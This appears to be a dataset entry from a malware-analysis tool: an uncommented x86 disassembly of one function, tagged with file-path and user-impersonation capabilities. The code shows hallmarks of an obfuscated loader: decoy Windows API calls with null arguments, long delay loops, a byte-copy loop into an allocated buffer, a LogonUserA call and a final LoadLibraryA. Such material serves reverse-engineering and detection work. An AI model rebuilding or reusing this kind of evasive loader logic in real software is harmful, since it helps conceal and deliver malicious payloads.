Function at 0x4045f6
Capabilities:
Get common file path
Impersonate user

Disassembly:
mov eax, 0x430b38
call fcn.00430958
mov eax, 0x18b8
call fcn.004121e0
push ebx
push esi
xor esi, esi
cmp dword [0x4e4b90], 0x5b1
push edi
jne 0x4046fa
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push esi
push dword [ebp - 0x14]
lea eax, [ebp - 0x10c4]
push eax
push esi
call dword [sym.imp.SHELL32.dll_ShellAboutW]
lea eax, [ebp - 0x3c]
call fcn.00404b83
mov dword [ebp - 4], esi
call fcn.00406259
push 0x403940
lea ecx, [ebp - 0x20]
call fcn.00403fe0
lea ecx, [ebp - 0x20]
call fcn.00403ffc
lea ecx, [ebp - 0x20]
call fcn.00404042
lea ecx, [ebp - 0x20]
call fcn.0040405b
push esi
push esi
call fcn.00406d7e
push esi
call fcn.00406d4f
add esp, 0xc
call fcn.00406530
push esi
call fcn.00406d38
pop ecx
push esi
call fcn.004070fe
mov dword [esp], esi
call fcn.0040423d
fstp st(0)
push esi
call fcn.00406d38
pop ecx
lea eax, [ebp - 0x58]
push eax
call fcn.00404bb6
lea eax, [ebp - 0xc4]
push eax
mov byte [ebp - 4], 1
call fcn.00404c0e
lea ecx, [ebp - 0xc4]
call fcn.00404c4b
lea eax, [ebp - 0x58]
push eax
call fcn.00404bf7
or dword [ebp - 4], 0xffffffff
lea edi, [ebp - 0x3c]
call fcn.00404ba8
add dword [0x4e4b90], 0x1134b
push dword [0x4e4b90]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4e3ae0], eax
call fcn.00404541
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x404743
inc edi
cmp edi, 0x4f6a4
jl 0x404723
xor edi, edi
cmp dword [0x4e4b90], esi
jbe 0x404789
cmp dword [0x4e4b90], 0xa8
mov eax, dword [0x4e4b94]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4e3ae0]
mov byte [ecx + edi], al
jne 0x404780
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
inc edi
cmp edi, dword [0x4e4b90]
jb 0x40474d
xor edi, edi
mov eax, dword [0x4e4b90]
add eax, edi
cmp eax, 0xe
jne 0x4047d7
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [ebp - 0xcc4]
push eax
push esi
push 0x403950
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x403968
push 0x4039b8
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x18c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x40478b
call fcn.00404437
xor edi, edi
call ebx
cmp edi, 0x26
jne 0x4047f3
call fcn.00404527
inc edi
cmp edi, 0x6753f
jl 0x4047e7
push 0x7b
pop edi
cmp dword [0x4e4b90], 0x86
jne 0x404836
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push esi
push esi
call sub.KERNEL32.dll_Process32FirstW
push esi
lea eax, [ebp - 0x4c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [ebp - 0x8c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x4e4b90], 0xf
jne 0x404847
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
dec edi
jne 0x4047ff
push 0x4039ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret